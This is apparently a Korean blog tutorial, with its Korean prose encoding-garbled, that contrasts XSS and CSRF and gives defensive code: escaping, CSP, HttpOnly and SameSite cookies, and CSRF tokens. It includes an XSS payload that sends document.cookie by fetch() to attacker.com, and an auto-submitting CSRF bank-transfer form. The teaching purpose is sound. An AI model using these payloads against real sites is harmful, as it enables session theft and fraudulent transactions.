XSS์ CSRF. ์ด๋ฆ๋ ๋น์ทํ๊ณ ๋ ๋ค ์น ๋ณด์ ๊ณต๊ฒฉ์ด๋ผ ํญ์ ํท๊ฐ๋ฆฐ๋ค. ํ์ง๋ง ๊ณต๊ฒฉ ๋ฐฉํฅ๋, ๋์ ๋ฐฉ๋ฒ๋ ์ ๋ฐ๋๋ค. ๋ ๊ณต๊ฒฉ์ ์ฐจ์ด๋ฅผ ๋ช ํํ ๊ฐ๋ฅด๊ณ , ๊ฐ๊ฐ์ ๋์ ์๋ฆฌ์ ๋ฐฉ์ด๋ฒ์ ์ฝ๋๋ก ์ ๋ฆฌํ๋ค.
๋ค์ด๊ฐ๋ฉฐ
์น ๋ณด์์ ๊ณต๋ถํ๋ฉด XSS์ CSRF๊ฐ ๊ฑฐ์ ์ธํธ๋ก ๋ฑ์ฅํ๋ค. ์ด๋ฆ๋ ์ํ๋ฒณ ๋ค ๊ธ์๋ก ๋น์ทํ๊ณ , ๋ ๋ค ์น ๊ณต๊ฒฉ์ด๋ผ ํท๊ฐ๋ฆฌ๊ธฐ ์ฝ๋ค. ํ์ง๋ง ์ด ๋์ ๊ณต๊ฒฉํ๋ ๋ฐฉํฅ์ด ์ ๋ฐ๋๋ค.
XSS๋ "์ฌ์ฉ์๋ฅผ ์์ฌ ์ ์ฑ ์คํฌ๋ฆฝํธ๋ฅผ ์คํ์ํค๋" ๊ณต๊ฒฉ์ด๊ณ , CSRF๋ "์ฌ์ฉ์์ ์ธ์ฆ ์ ๋ณด๋ฅผ ๋์ฉํด ์๋ฒ๋ฅผ ์์ด๋" ๊ณต๊ฒฉ์ด๋ค.
ํ ๋ฌธ์ฅ์ผ๋ก ์ฐจ์ด๋ฅผ ์ก์ผ๋ฉด ์ด๋ ๋ค.
| XSS | CSRF | |
| ํ๋ค์ | Cross-Site Scripting | Cross-Site Request Forgery |
| ์์ด๋ ๋์ | ์ฌ์ฉ์(๋ธ๋ผ์ฐ์ ) | ์๋ฒ |
| ํต์ฌ | ์ ์ฑ ์คํฌ๋ฆฝํธ๋ฅผ ์คํ์ํด | ์์กฐ๋ ์์ฒญ์ ๋ณด๋ |
| ๊ณต๊ฒฉ์๊ฐ ์ป๋ ๊ฒ | ์ฟ ํค·์ธ์ ํ์ทจ, ์ ๋ณด ์ ์ถ | ์ฌ์ฉ์ ๊ถํ์ผ๋ก ํ๋ ์ํ |
| OWASP ๋ถ๋ฅ | ์ธ์ ์ ๊ณ์ด | ์ ๊ทผ ์ ์ด/์์กฐ ๊ณ์ด |
์ด ๊ธ์์๋ ๊ฐ๊ฐ์ ๋์ ์๋ฆฌ์ ๋์์ ์ฝ๋์ ํจ๊ป ๋ณธ๋ค. ์์๋ ์ผ๋ฐ์ ์ธ ์น ํ๊ฒฝ ๊ธฐ์ค์ด๋ค.
XSS (Cross-Site Scripting)
XSS๋ ๊ณต๊ฒฉ์๊ฐ ์ ์ฑ ์คํฌ๋ฆฝํธ๋ฅผ ์นํ์ด์ง์ ์ฌ์ด, ๋ค๋ฅธ ์ฌ์ฉ์์ ๋ธ๋ผ์ฐ์ ์์ ์คํ์ํค๋ ๊ณต๊ฒฉ์ด๋ค. ํต์ฌ์ "์ฌ์ฉ์ ์ ๋ ฅ์ ๊ฒ์ฆ ์์ด ํ๋ฉด์ ๊ทธ๋๋ก ์ถ๋ ฅ"ํ ๋ ๋ซ๋ฆฐ๋ค๋ ์ ์ด๋ค.
์ด๋ป๊ฒ ๊ณต๊ฒฉํ๋
๊ฒ์ํ ๋๊ธ ์ ๋ ฅ๋์ ๋ ์ฌ๋ ค๋ณด์. ๊ณต๊ฒฉ์๊ฐ ๋๊ธ์ ์ด๋ฐ ๊ฑธ ์ ๋๋ค.
<script>
// ๋ฐฉ๋ฌธ์์ ์ฟ ํค๋ฅผ ๊ณต๊ฒฉ์ ์๋ฒ๋ก ์ ์ก
fetch('https://attacker.com/steal?cookie=' + document.cookie);
</script>
์ด ๋๊ธ์ด ๊ฒ์ฆ ์์ด ์ ์ฅ๋๊ณ , ๋ค๋ฅธ ์ฌ์ฉ์๊ฐ ๊ทธ ๊ฒ์๊ธ์ ์ด๋ฉด ๊ทธ ์ฌ์ฉ์์ ๋ธ๋ผ์ฐ์ ์์ ์คํฌ๋ฆฝํธ๊ฐ ์คํ๋๋ค. ๊ฒฐ๊ณผ์ ์ผ๋ก ๋ฐฉ๋ฌธ์์ ์ธ์ ์ฟ ํค๊ฐ ๊ณต๊ฒฉ์์๊ฒ ๋์ด๊ฐ๊ณ , ๊ณต๊ฒฉ์๋ ๊ทธ ์ฟ ํค๋ก ๋ก๊ทธ์ธ์ ๊ฐ๋ก์ฑ ์ ์๋ค.
XSS์ ์ข ๋ฅ
| ์ข ๋ฅ | ์ค๋ช |
| Stored XSS | ์ ์ฑ ์คํฌ๋ฆฝํธ๊ฐ DB์ ์ ์ฅ๋จ (๋๊ธ, ๊ฒ์๊ธ). ๊ฐ์ฅ ์ํ |
| Reflected XSS | URL ํ๋ผ๋ฏธํฐ ๋ฑ์ ๋ด๊ธด ์คํฌ๋ฆฝํธ๊ฐ ์ฆ์ ๋ฐ์ฌ๋์ด ์คํ |
| DOM-based XSS | ์๋ฒ๋ฅผ ๊ฑฐ์น์ง ์๊ณ ํด๋ผ์ด์ธํธ JS๊ฐ DOM์ ์กฐ์ํ๋ฉฐ ๋ฐ์ |
๋์: ์ถ๋ ฅ ์ ์ด์ค์ผ์ดํ + ์ ๋ ฅ ๊ฒ์ฆ
ํต์ฌ ๋ฐฉ์ด๋ ์ฌ์ฉ์ ์ ๋ ฅ์ ํ๋ฉด์ ์ถ๋ ฅํ ๋ HTML๋ก ํด์๋์ง ์๊ฒ ์ด์ค์ผ์ดํ(escape) ํ๋ ๊ฒ์ด๋ค.
// ์ทจ์ฝ: ์
๋ ฅ์ ๊ทธ๋๋ก innerHTML์ — ์คํฌ๋ฆฝํธ๊ฐ ์คํ๋๋ค
element.innerHTML = userInput;
// ๋์ 1: textContent ์ฌ์ฉ — ํ
์คํธ๋ก๋ง ์ทจ๊ธ, ์คํ ์ ๋จ
element.textContent = userInput;
// ๋์ 2: ์ถ๋ ฅ ์ ํน์๋ฌธ์ ์ด์ค์ผ์ดํ
function escapeHtml(str) {
return str
.replace(/&/g, '&')
.replace(/</g, '<')
.replace(/>/g, '>')
.replace(/"/g, '"')
.replace(/'/g, ''');
}
<script>๊ฐ <script>๋ก ๋ฐ๋๋ฉด, ๋ธ๋ผ์ฐ์ ๋ ์ด๋ฅผ ์ฝ๋๊ฐ ์๋๋ผ ๊ทธ๋ฅ ํ
์คํธ๋ก ๋ณด์ฌ์ค๋ค. ์คํ๋์ง ์๋ ๊ฒ์ด๋ค.
์ถ๊ฐ ๋ฐฉ์ด ์๋จ๋ ์๋ค.
<!-- Content-Security-Policy: ํ์ฉ๋ ์ถ์ฒ์ ์คํฌ๋ฆฝํธ๋ง ์คํ -->
<meta http-equiv="Content-Security-Policy"
content="script-src 'self'">
Set-Cookie: session=abc123; HttpOnly; Secure
HttpOnly ์ฟ ํค๋ JavaScript์์ document.cookie๋ก ์ ๊ทผํ ์ ์๋ค. XSS๊ฐ ๋ฐ์ํด๋ ์ฟ ํค ํ์ทจ๋งํผ์ ๋ง์ ์ ์๋ค. React·Vue ๊ฐ์ ์ต์ ํ๋ ์์ํฌ๋ ๊ธฐ๋ณธ์ ์ผ๋ก ์ถ๋ ฅ์ ์ด์ค์ผ์ดํํ๋ฏ๋ก, dangerouslySetInnerHTML ๊ฐ์ ์ฐํ๋ก๋ง ์กฐ์ฌํ๋ฉด ์๋น ๋ถ๋ถ ์์ ํ๋ค.
CSRF (Cross-Site Request Forgery)
CSRF๋ ์ ๋ฐ๋ ๋ฐฉํฅ์ด๋ค. ๊ณต๊ฒฉ์๊ฐ ๋ก๊ทธ์ธ๋ ์ฌ์ฉ์์ ๊ถํ์ ๋์ฉํด, ์ฌ์ฉ์๊ฐ ์๋ํ์ง ์์ ์์ฒญ์ ์๋ฒ์ ๋ณด๋ด๊ฒ ๋ง๋๋ ๊ณต๊ฒฉ์ด๋ค.
์ด๋ป๊ฒ ๊ณต๊ฒฉํ๋
ํต์ฌ ์ ์ ๋ "๋ธ๋ผ์ฐ์ ๊ฐ ์์ฒญ์ ๋ณด๋ผ ๋ ํด๋น ๋๋ฉ์ธ์ ์ฟ ํค๋ฅผ ์๋์ผ๋ก ์ฒจ๋ถํ๋ค"๋ ์ ์ด๋ค. ์ฌ์ฉ์๊ฐ ์ํ ์ฌ์ดํธ์ ๋ก๊ทธ์ธํ ์ํ๋ผ๊ณ ํ์. ๊ณต๊ฒฉ์๊ฐ ์ด๋ฐ ํ์ด์ง๋ฅผ ๋ง๋ค์ด ์ฌ์ฉ์๊ฐ ๋ฐฉ๋ฌธํ๊ฒ ์ ๋ํ๋ค.
<!-- ๊ณต๊ฒฉ์ ์ฌ์ดํธ์ ์จ๊ฒจ์ง ํผ -->
<form action="https://bank.com/transfer" method="POST" id="f">
<input type="hidden" name="to" value="attacker">
<input type="hidden" name="amount" value="1000000">
</form>
<script>document.getElementById('f').submit();</script> <!-- ์๋ ์ ์ก -->
์ฌ์ฉ์๊ฐ ์ด ํ์ด์ง๋ฅผ ์ฌ๋ ์๊ฐ, ๋ธ๋ผ์ฐ์ ๋ bank.com์ผ๋ก ์ก๊ธ ์์ฒญ์ ๋ณด๋ธ๋ค. ๊ทธ๋ฆฌ๊ณ ๋ธ๋ผ์ฐ์ ๊ฐ ์๋์ผ๋ก ์ํ ์ธ์
์ฟ ํค๋ฅผ ์ฒจ๋ถํ๊ธฐ ๋๋ฌธ์, ์ํ ์๋ฒ๋ ์ด๊ฑธ ์ ์์ ์ธ ๋ก๊ทธ์ธ ์ฌ์ฉ์์ ์์ฒญ์ผ๋ก ๋ฐ์๋ค์ธ๋ค. ์ฌ์ฉ์๋ ํด๋ฆญ ํ ๋ฒ ํ ์ ์๋๋ฐ ๋์ด ๋น ์ ธ๋๊ฐ๋ค.
XSS์ ๋ฌ๋ฆฌ ๊ณต๊ฒฉ์๋ ์๋ต์ ๋ณผ ์๋ ์๊ณ ์คํฌ๋ฆฝํธ๋ฅผ ์ฌ์ ํ์๋ ์๋ค. ๊ทธ์ ์ฌ์ฉ์์ ์ธ์ฆ๋ ์ธ์ ์ ๋น๋ ค ์์ฒญ์ ์์กฐํ ๋ฟ์ด๋ค.
๋์: CSRF ํ ํฐ + SameSite ์ฟ ํค
๊ฐ์ฅ ํ์ค์ ์ธ ๋ฐฉ์ด๋ CSRF ํ ํฐ์ด๋ค. ์๋ฒ๊ฐ ํ์ด์ง๋ฅผ ์ค ๋ ์์ธก ๋ถ๊ฐ๋ฅํ ํ ํฐ์ ํจ๊ป ๋ฐ๊ธํ๊ณ , ์์ฒญ์ด ์ฌ ๋ ๊ทธ ํ ํฐ์ด ์๋์ง ๊ฒ์ฆํ๋ค.
<!-- ์๋ฒ๊ฐ ํผ์ ์ฌ์ด์ฃผ๋ CSRF ํ ํฐ -->
<form action="/transfer" method="POST">
<input type="hidden" name="_csrf" value="a8f3c9b2-...">
<input type="text" name="amount">
</form>
๊ณต๊ฒฉ์ ์ฌ์ดํธ๋ ์ด ํ ํฐ ๊ฐ์ ์ ์ ์์ผ๋ฏ๋ก(๋ค๋ฅธ ์ถ์ฒ๋ผ ์ฝ์ง ๋ชปํจ), ์์กฐ ์์ฒญ์๋ ์ฌ๋ฐ๋ฅธ ํ ํฐ์ ๋ด์ ์ ์๋ค. ์๋ฒ๋ ํ ํฐ์ด ์๊ฑฐ๋ ํ๋ฆฐ ์์ฒญ์ ๊ฑฐ๋ถํ๋ค.
// Spring Security๋ CSRF ๋ณดํธ๊ฐ ๊ธฐ๋ณธ ํ์ฑํ๋ผ ์๋ค
http.csrf(csrf -> csrf
.csrfTokenRepository(CookieCsrfTokenRepository.withHttpOnlyFalse())
);
๋ ๊ฐ๋จํ๊ณ ๊ฐ๋ ฅํ ํ๋์ ๋ฐฉ์ด๋ SameSite ์ฟ ํค ์์ฑ์ด๋ค.
Set-Cookie: session=abc123; SameSite=Strict; Secure; HttpOnly
SameSite=Strict(๋๋ Lax)๋ ๋ค๋ฅธ ์ฌ์ดํธ์์ ์์๋ ์์ฒญ์๋ ์ฟ ํค๋ฅผ ์ฒจ๋ถํ์ง ์๊ฒ ํ๋ค. ๊ทธ๋ฌ๋ฉด ๊ณต๊ฒฉ์ ์ฌ์ดํธ์์ ๋ณด๋ธ ์์ฒญ์๋ ์ธ์
์ฟ ํค๊ฐ ๋ถ์ง ์์, CSRF ์์ฒด๊ฐ ์ฑ๋ฆฝํ์ง ์๋๋ค. ์์ฆ ๋ธ๋ผ์ฐ์ ๋ Lax๋ฅผ ๊ธฐ๋ณธ๊ฐ์ผ๋ก ์ ์ฉํด์ ๊ธฐ๋ณธ ๋ฐฉ์ด๋ ฅ์ด ์ฌ๋ผ๊ฐ๋ค.
ํ๋์ ๋น๊ต
๋ ๊ณต๊ฒฉ์ ๋๋ํ ๋์ผ๋ฉด ์ฐจ์ด๊ฐ ๋ถ๋ช ํด์ง๋ค.
| XSS | CSRF | |
| ๊ณต๊ฒฉ ๋ฐฉํฅ | ์ฌ์ฉ์(๋ธ๋ผ์ฐ์ )๋ฅผ ๊ณต๊ฒฉ | ์๋ฒ๋ฅผ ๊ณต๊ฒฉ |
| ๋ฌด์์ ์ฌ๋ | ์ ์ฑ ์คํฌ๋ฆฝํธ | ์์กฐ๋ ์์ฒญ |
| ์ ์ ์กฐ๊ฑด | ์ ๋ ฅ ๊ฒ์ฆ/์ด์ค์ผ์ดํ ๋ฏธํก | ์ฟ ํค ์๋ ์ฒจ๋ถ + ์ธ์ ์ ์ง |
| ๊ณต๊ฒฉ์ ๋ฅ๋ ฅ | ์คํฌ๋ฆฝํธ ์คํ, ์ ๋ณด ํ์ทจ | ์ฌ์ฉ์ ๊ถํ์ผ๋ก ํ๋ |
| ์ฃผ์ ๋์ | ์ถ๋ ฅ ์ด์ค์ผ์ดํ, CSP, HttpOnly | CSRF ํ ํฐ, SameSite ์ฟ ํค |
| ํ๋ ์์ํฌ ๊ธฐ๋ณธ ๋ฐฉ์ด | React/Vue ์๋ ์ด์ค์ผ์ดํ | Spring Security ๊ธฐ๋ณธ ํ์ฑํ |
ํฅ๋ฏธ๋ก์ด ๊ฑด ๋์ด ์ฐ๊ฒฐ๋๊ธฐ๋ ํ๋ค๋ ์ ์ด๋ค. XSS๊ฐ ๋ซ๋ฆฌ๋ฉด CSRF ๋ฐฉ์ด(ํ ํฐ)๋ ๋ฌด๋ ฅํ๋ ์ ์๋ค. ์ ์ฑ ์คํฌ๋ฆฝํธ๊ฐ ํ์ด์ง ์์์ CSRF ํ ํฐ์ ์ฝ์ด๋ฒ๋ฆฌ๋ฉด, SameSite๋ ๊ฐ์ ์ฌ์ดํธ๋ผ ์ฐํ๋๊ธฐ ๋๋ฌธ์ด๋ค. ๊ทธ๋์ XSS ๋ฐฉ์ด๊ฐ ๋ ๊ทผ๋ณธ์ ์ด๋ผ๊ณ ๋ณธ๋ค.
๋ง์น๋ฉฐ
์ด๋ฆ์ด ๋น์ทํด ํท๊ฐ๋ฆฌ์ง๋ง, ๋ฐฉํฅ์ ์ก์ผ๋ฉด ๋ช ํํ๋ค. XSS๋ ์ฌ์ฉ์๋ฅผ ์์ด๊ณ , CSRF๋ ์๋ฒ๋ฅผ ์์ธ๋ค. XSS๋ ์ ๋ ฅ์ ์ถ๋ ฅํ ๋ ์ด์ค์ผ์ดํํ๋ ๊ฒ ํต์ฌ์ด๊ณ , CSRF๋ ์์ฒญ์ด ์ ๋ง ์ฐ๋ฆฌ ์ฌ์ดํธ์์ ์์๋๋์ง ๊ฒ์ฆ(ํ ํฐ·SameSite)ํ๋ ๊ฒ ํต์ฌ์ด๋ค.
๋คํํ ์์ฆ์ ํ๋ ์์ํฌ๊ฐ ๊ธฐ๋ณธ ๋ฐฉ์ด๋ฅผ ๋ง์ด ํด์ค๋ค. React๋ ์ถ๋ ฅ์ ์๋ ์ด์ค์ผ์ดํํ๊ณ , Spring Security๋ CSRF ๋ณดํธ๊ฐ ๊ธฐ๋ณธ์ด๋ฉฐ, ๋ธ๋ผ์ฐ์ ๋ SameSite๋ฅผ ๊ธฐ๋ณธ ์ ์ฉํ๋ค. ํ์ง๋ง dangerouslySetInnerHTML๋ก ์ฐํํ๊ฑฐ๋, CSRF ๋ณดํธ๋ฅผ ๋ฌด์ฌ์ฝ ๊บผ๋ฒ๋ฆฌ๋ ์๊ฐ ๋ค์ ๋ซ๋ฆฐ๋ค. ๊ธฐ๋ณธ ๋ฐฉ์ด๊ฐ ์ ๊ฑฐ๊ธฐ ์๋์ง๋ฅผ ์์์ผ, ๊ทธ๊ฑธ ๋ ๋ ๋ฌด์จ ์ํ์ ๊ฐ์ํ๋์ง๋ ์๋ค.
์น ๋ณด์์ ์ฒซ๊ฑธ์์ "์ฌ์ฉ์ ์ ๋ ฅ์ ์ ๋ ๋ฏฟ์ง ์๋๋ค"๋ ํ๋๋ค. XSS๋ CSRF๋, ๊ฒฐ๊ตญ ์ ๋ขฐํ๋ฉด ์ ๋ ๊ฒ์ ์ ๋ขฐํด์ ์๊ธฐ๋ ๋ฌธ์ ๋ค.
์ฐธ๊ณ ์ถ์ฒ
- OWASP: Cross Site Scripting (XSS) — https://owasp.org/www-community/attacks/xss/
- OWASP: Cross Site Request Forgery (CSRF) — https://owasp.org/www-community/attacks/csrf
- MDN: SameSite cookies — https://developer.mozilla.org/en-US/docs/Web/HTTP/Headers/Set-Cookie/SameSite
- OWASP Cheat Sheet: XSS Prevention — https://cheatsheetseries.owasp.org/cheatsheets/Cross_Site_Scripting_Prevention_Cheat_Sheet.html
'๐ก๏ธ Security Notes' ์นดํ ๊ณ ๋ฆฌ์ ๋ค๋ฅธ ๊ธ
| OWASP API Security Top 10(2023) (0) | 2026.06.02 |
|---|---|
| OWASP Top 10(2025) (0) | 2026.06.02 |